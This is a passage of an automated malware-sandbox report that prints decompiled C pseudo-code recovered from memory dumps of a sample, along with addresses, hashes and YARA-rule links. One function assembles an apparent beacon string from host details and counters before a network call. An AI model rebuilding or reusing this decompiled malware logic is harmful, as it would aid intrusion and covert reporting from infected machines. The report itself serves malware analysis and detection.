						_v28 = _v28 ^ (_t147 & 0x00000000 | _t119 -  *_t208 | _a12);
						_t99 = _t146 + 0x41821f; // 0x8302c6
						_v8 = 0;
						_v32 = _v32 | _t99;
						_t125 =  *((intOrPtr*)(_t146 + 0x45d018))(_v8, _v12);
						_v12 = _t167;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) & 0x00000000;
						 *(_t146 + 0x41845c) =  *(_t146 + 0x41845c) | _t167 ^ _v12 ^ _t125;
						_pop(_t150);
						_t126 = _t194;
						_v28 = _v28 ^ _t150 + _t126;
						_t152 = _t146;
						_t153 = _t152 & _a8;
						_t183 = _t183 + _t153;
						_v28 = _v28 - _t146;
						_v28 = _t183;
						_v32 = _t153;
						_v12 = _v12 & 0x00000000;
						_v36 = _v36 | _t126;
						_t119 = E02596424(_t146, _t153, _v12, _t183, _v12, _v8, _t146);
					}
					_push(_t183);
					return _t119 ^ _t119;
				} else {
					if( *((intOrPtr*)(_t146 + 0x41805b)) == 0) {
						 *_t208 =  *_t208 - _t194;
						 *_t208 =  *_t208 ^ _t119;
						_v12 = _v12 & 0x00000000;
						_v28 = _v28 | _t119;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183d0));
						_v36 =  *((intOrPtr*)(_t146 + 0x4182cb));
						_v8 = _v8 & 0x00000000;
						 *_t208 =  *_t208 | _v36;
						_t139 =  *((intOrPtr*)(_t146 + 0x45d044))(_v8, _t183, _t119, _v12, _t194);
						 *_t208 = _t147;
						 *((intOrPtr*)(_t146 + 0x41805b)) = _t139;
						_t147 = 0;
						_pop(_t119);
					}
					_pop(_t188);
					if( *(_t146 + 0x41822b) == 0) {
						_v20 = _v20 - _t147;
						_v20 = _v20 ^ _t119;
						_v28 =  *((intOrPtr*)(_t146 + 0x418647));
						_t162 = _v32;
						_v32 =  *((intOrPtr*)(_t146 + 0x4183e0));
						_v36 =  *(_t146 + 0x418307);
						 *_t208 =  *(_t146 + 0x41842c);
						_t136 =  *((intOrPtr*)(_t146 + 0x45d048))(_t188, _t147, _t162, _t119, _t147, 0, _t147);
						 *_t208 = _t194;
						 *(_t146 + 0x41822b) = 0 ^ _t136;
						_t194 = 0;
						_t119 = _t147;
					}
					_t210 = _t194;
					_pop(_t200);
					if( *(_t146 + 0x418552) == 0) {
						 *_t210 =  *_t210 & 0x00000000;
						 *_t210 =  *_t210 + _t119;
						_v20 =  *(_t146 + 0x4181fb);
						_v12 = _v12 & 0x00000000;
						 *_t210 = _t210 +  *_t210;
						_v28 =  *(_t146 + 0x418643);
						_t132 =  *((intOrPtr*)(_t146 + 0x45d03c))(_t162, _t162, _v12, _t119, _t162);
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) & 0x00000000;
						 *(_t146 + 0x418552) =  *(_t146 + 0x418552) | _t200 - _v32 ^ _t132;
						_t133 = _t200;
						return _t133;
					}
					return _t119;
				}
			}

0x02596424
0x02596424
0x02596424
0x02596424
0x02596425
0x02596427
0x02596431
0x02596433
0x0259643a
0x0259643d
0x0259643e
0x02596445
0x02596449
0x0259644a
0x0259644d
0x02596450
0x02596456
0x0259645e
0x02596465
0x0259646b
0x0259646b
0x0259646f
0x02596473
0x02596476
0x0259647c
0x02596483
0x02596486
0x02596492
0x02596499
0x0259649f
0x025964aa
0x025964ac
0x025964b4
0x025964b7
0x025964ba
0x025964c5
0x025964c9
0x025964d2
0x025964d6
0x025964df
0x025964e3
0x025964e4
0x025964ec
0x025964f3
0x025964f9
0x025964fa
0x025964fa
0x025964fb
0x02596503
0x02596505
0x0259650f
0x02596512
0x02596518
0x02596520
0x02596527
0x0259652d
0x02596530
0x02596530
0x02596534
0x0259667d
0x0259668a
0x0259668c
0x02596693
0x0259669e
0x025966a2
0x025966aa
0x025966aa
0x025966b4
0x025966b7
0x025966c3
0x025966ca
0x025966d0
0x025966d1
0x025966d1
0x025966de
0x025966e2
0x025966e6
0x025966ea
0x025966ed
0x025966f3
0x025966fd
0x02596700
0x02596706
0x0259670e
0x02596715
0x0259671e
0x0259671f
0x02596723
0x02596726
0x02596727
0x0259672a
0x0259672d
0x02596730
0x02596736
0x02596739
0x02596740
0x02596743
0x02596743
0x02596748
0x02596752
0x0259653a
0x02596541
0x02596544
0x02596547
0x0259654a
0x02596551
0x0259655b
0x02596565
0x02596568
0x0259656f
0x02596572
0x0259657a
0x02596581
0x02596587
0x02596588
0x02596588
0x02596589
0x02596591
0x02596594
0x02596597
0x025965a4
0x025965b0
0x025965b0
0x025965bb
0x025965c7
0x025965ca
0x025965d2
0x025965d9
0x025965df
0x025965e0
0x025965e0
0x025965e1
0x025965e1
0x025965e9
0x025965ec
0x025965f0
0x025965fa
0x025965fd
0x02596604
0x0259660f
0x02596614
0x02596620
0x02596627
0x0259662e
0x00000000
0x0259662e
0x0259662f
0x0259662f

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction ID: 39571bb0deae40f885b0b15267c4f8c531d1d36dd292b511ffe789d6b0ce8459
Opcode Fuzzy Hash: c01750e277775b5bb73c90b0c73626882d4b9bebcb91e2c5f617f45b9fff920e
Instruction Fuzzy Hash: 36A18D72804608EFEF009F60C8897AEBBF8FF84725F1944ADEC88DA145DB741594CB69

Uniqueness

Uniqueness Score: -1.00%

Function 02595AF6, Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction ID: 9ffe34a51ebfe27492aa9b3dbcc1f5b093b83882d8c7b812bc2cfc5452c411c7
Opcode Fuzzy Hash: 127c99f67a807fc3ec6899e3212679090504ea9fb9ca94da451e6946324d0a6f
Instruction Fuzzy Hash: 0E519032E08504AFEB088FA9D9467ADF7F6FF84320F25C16ED491A7280DB782950CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02592DF5, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction ID: c987b7b5d27d3ddd42e64a8bc71a6c044a57a96acd4ee0d68c975d072d4de1ff
Opcode Fuzzy Hash: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction Fuzzy Hash: 1E418D37A14604AFEB00CF65D98179DBBF1FBC4324F26847EC984D7241DB34A9468B68

Uniqueness

Uniqueness Score: -1.00%

Function 02591374, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction ID: da2181921727bcc72a398907939545e573f437a652dc0e5c2dd26ae5fd9eb4d4
Opcode Fuzzy Hash: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction Fuzzy Hash: 0141A172820A05EAEF008F78CD493CA3B71EF41334F29C768AD389A1D5C77987559B54

Uniqueness

Uniqueness Score: -1.00%

Function 0259596E, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction ID: f937ac5b97548a01c6be22bf89e8ee87178b55e8b72de04b26ff7a0d718c269b
Opcode Fuzzy Hash: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction Fuzzy Hash: C5414C71410609AFEF048F25C8847AA3B65FF84330F29C35EEC298E1D6DB3585618B58

Uniqueness

Uniqueness Score: -1.00%

Function 02593314, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction ID: 80391e7d9fe526e312e5f0d211912ca5b4d74cb5a7462a4b8a467a6fbce74863
Opcode Fuzzy Hash: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction Fuzzy Hash: 33411A72814A08EFEB05CF65C48939A3B71FF40325F24C2AAEC699E1D5CB789350DB58

Uniqueness

Uniqueness Score: -1.00%

Function 02593BDB, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction ID: dad87e4d7b7f04bb61b937515000af3ed9e63b6ebf4cfe55981b79e7f35d9ba1
Opcode Fuzzy Hash: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction Fuzzy Hash: 75416772D11A08ABEB44CE68CAD93DE7B70EF44720F18839EDC39991D5CB3A42508F94

Uniqueness

Uniqueness Score: -1.00%

Function 02595C76, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction ID: a2e3732e8b576e3061eff92f2d07fcbfc9e389632e33e78e875b3cba672552fc
Opcode Fuzzy Hash: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction Fuzzy Hash: FD316972C10A19ABEB448E79C9493DE7B30FF40331F24C369AC75AA1D0DB7886528F94

Uniqueness

Uniqueness Score: -1.00%

Function 025928EB, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction ID: d20eff227927b094da74527236433e5da1dcf06df82053627b29a05ce1978be9
Opcode Fuzzy Hash: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction Fuzzy Hash: 61314D72910608EBEB14CF68C9453DD7771FF40330F2983A99C259A1D5C73A8B519B98

Uniqueness

Uniqueness Score: -1.00%

Function 0259554B, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction ID: 1b92a7bcad79ce3548d5865793ab0dad966acba93b1dff61d62356192b9adad6
Opcode Fuzzy Hash: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction Fuzzy Hash: 3931C832C10A05ABEF048F35C9893DA3761FF84370F14836DAC298D1D6D7B446629B54

Uniqueness

Uniqueness Score: -1.00%

Function 025952EC, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction ID: f3696d66546dcbe11dfe4e046c3cac3c86e6d36ed990029d2ef02601a6dce5e3
Opcode Fuzzy Hash: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction Fuzzy Hash: 73311C72810605ABFF048E35CA497DA3761EF40336F28C36DAC389D1D5DB794661AB68

Uniqueness

Uniqueness Score: -1.00%

Function 10002154, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E10002154(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E100022BB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E10002375(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E10002260(_t55, _t66);
										_t89 = _t66 + 0x10;
										E100022BB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E10002357(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x10002158
0x10002159
0x1000215a
0x1000215d
0x1000215f
0x10002162
0x10002163
0x10002165
0x10002166
0x10002167
0x1000216a
0x10002174
0x10002225
0x1000222c
0x10002235
0x1000217a
0x1000217a
0x10002180
0x10002186
0x10002189
0x1000218c
0x10002190
0x10002195
0x1000219a
0x1000221a
0x00000000
0x1000219c
0x1000219c
0x100021a8
0x100021aa
0x10002205
0x10002205
0x1000220b
0x00000000
0x100021ac
0x100021bb
0x100021bd
0x100021be
0x100021bf
0x100021c2
0x100021c2
0x100021c4
0x00000000
0x100021c6
0x100021c6
0x10002210
0x100021c8
0x100021c8
0x100021cc
0x100021d4
0x100021d9
0x100021de
0x100021ea
0x100021f2
0x100021f9
0x100021ff
0x10002203
0x00000000
0x10002203
0x100021c6
0x100021c4
0x00000000
0x100021aa
0x1000221e
0x1000221e
0x1000221e
0x1000219a
0x1000223a
0x10002241

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 9c57574405240a8165450f76d07df83800bb314007ae7cce2d6078ed4837daf0
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 6521CB76900204AFD710DFA8CCC09A7F7A5FF49390B468158DD599B249D730FA25CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0267B11C, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0267B11C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0267B287(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0267B341(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0267B22C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0267B287(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0267B323(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0267b120
0x0267b121
0x0267b122
0x0267b125
0x0267b127
0x0267b12a
0x0267b12b
0x0267b12d
0x0267b12e
0x0267b12f
0x0267b132
0x0267b13c
0x0267b1ed
0x0267b1f4
0x0267b1fd
0x0267b142
0x0267b142
0x0267b148
0x0267b14e
0x0267b151
0x0267b154
0x0267b158
0x0267b15d
0x0267b162
0x0267b1e2
0x00000000
0x0267b164
0x0267b164
0x0267b170
0x0267b172
0x0267b1cd
0x0267b1cd
0x0267b1d3
0x00000000
0x0267b174
0x0267b183
0x0267b185
0x0267b186
0x0267b187
0x0267b18a
0x0267b18a
0x0267b18c
0x00000000
0x0267b18e
0x0267b18e
0x0267b1d8
0x0267b190
0x0267b190
0x0267b194
0x0267b19c
0x0267b1a1
0x0267b1a6
0x0267b1b2
0x0267b1ba
0x0267b1c1
0x0267b1c7
0x0267b1cb
0x00000000
0x0267b1cb
0x0267b18e
0x0267b18c
0x00000000
0x0267b172
0x0267b1e6
0x0267b1e6
0x0267b1e6
0x0267b162
0x0267b202
0x0267b209

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 8a2623eeb179f354b15538766e46b755affeb3d3e4853f35373b747924124661
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: AD2186729002049FCB14EF68D8C09BBBBA5FF45364B4581A8DD55DB245E730FA15CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 02593FA8, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction ID: 72b0cabbd1901b3c8ee18df3b53479131e98784daaab07945995d8c905fab870
Opcode Fuzzy Hash: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction Fuzzy Hash: 3F316432910619EBEB088E64C9567DA7B70FF40B20F18865EAC35990D5C7B94721DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0267A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0267A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x267d018; // 0x99c08bf
				asm("bswap eax");
				_t27 =  *0x267d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x267d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x267d00c; // 0x62819102
				asm("bswap eax");
				_t30 =  *0x267d27c; // 0xc7a5a8
				_t3 = _t30 + 0x267e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x267d02c,  *0x267d004, _t25);
				_t33 = E02671C1A();
				_t34 =  *0x267d27c; // 0xc7a5a8
				_t4 = _t34 + 0x267e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E026754BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x267d27c; // 0xc7a5a8
					_t6 = _t83 + 0x267e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x267d238, 0, _t96);
				}
				_t97 = E02677649();
				if(_t97 != 0) {
					_t78 =  *0x267d27c; // 0xc7a5a8
					_t8 = _t78 + 0x267e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x267d238, 0, _t97);
				}
				_t98 =  *0x267d32c; // 0x32f95b0
				_a32 = E02679395(0x267d00a, _t98 + 4);
				_t42 =  *0x267d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x267d27c; // 0xc7a5a8
					_t11 = _t74 + 0x267e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x267d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x267d27c; // 0xc7a5a8
					_t13 = _t71 + 0x267e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x267d238, 0, 0x800);
					if(_t100 != 0) {
						E02677A80(GetTickCount());
						_t50 =  *0x267d32c; // 0x32f95b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x267d32c; // 0x32f95b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x267d32c; // 0x32f95b0
						_t103 = E02678307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x267c2ac);
							_push(_t103);
							_t62 = E02673CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E02671199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E0267A1B0();
								}
								HeapFree( *0x267d238, 0, _v44);
							}
							HeapFree( *0x267d238, 0, _t103);
						}
						HeapFree( *0x267d238, 0, _t100);
					}
					HeapFree( *0x267d238, 0, _a24);
				}
				HeapFree( *0x267d238, 0, _t105);
				return _a12;
			}

0x0267a279
0x0267a279
0x0267a279
0x0267a280
0x0267a286
0x0267a28e
0x0267a290
0x0267a290
0x0267a29d
0x0267a2a8
0x0267a2ab
0x0267a2b6
0x0267a2b9
0x0267a2be
0x0267a2c1
0x0267a2c6
0x0267a2c9
0x0267a2d5
0x0267a2e2
0x0267a2e4
0x0267a2ea
0x0267a2ef
0x0267a2fa
0x0267a2fc
0x0267a2ff
0x0267a306
0x0267a30a
0x0267a30c
0x0267a311
0x0267a31d
0x0267a31f
0x0267a32b
0x0267a32d
0x0267a32d
0x0267a338
0x0267a33c
0x0267a33e
0x0267a343
0x0267a34f
0x0267a351
0x0267a35d
0x0267a35f
0x0267a35f
0x0267a365
0x0267a378
0x0267a37c
0x0267a383
0x0267a386
0x0267a38b
0x0267a396
0x0267a398
0x0267a39b
0x0267a39b
0x0267a39d
0x0267a3a4
0x0267a3a7
0x0267a3ac
0x0267a3b6
0x0267a3b8
0x0267a3c0
0x0267a3d9
0x0267a3dd
0x0267a3e9
0x0267a3ee
0x0267a3f7
0x0267a408
0x0267a40c
0x0267a415
0x0267a41b
0x0267a428
0x0267a435
0x0267a43b
0x0267a447
0x0267a44d
0x0267a44e
0x0267a455
0x0267a459
0x0267a45f
0x0267a466
0x0267a46d
0x0267a473
0x0267a47a
0x0267a47e
0x0267a489
0x0267a490
0x0267a494
0x0267a49d
0x0267a49d
0x0267a4ae
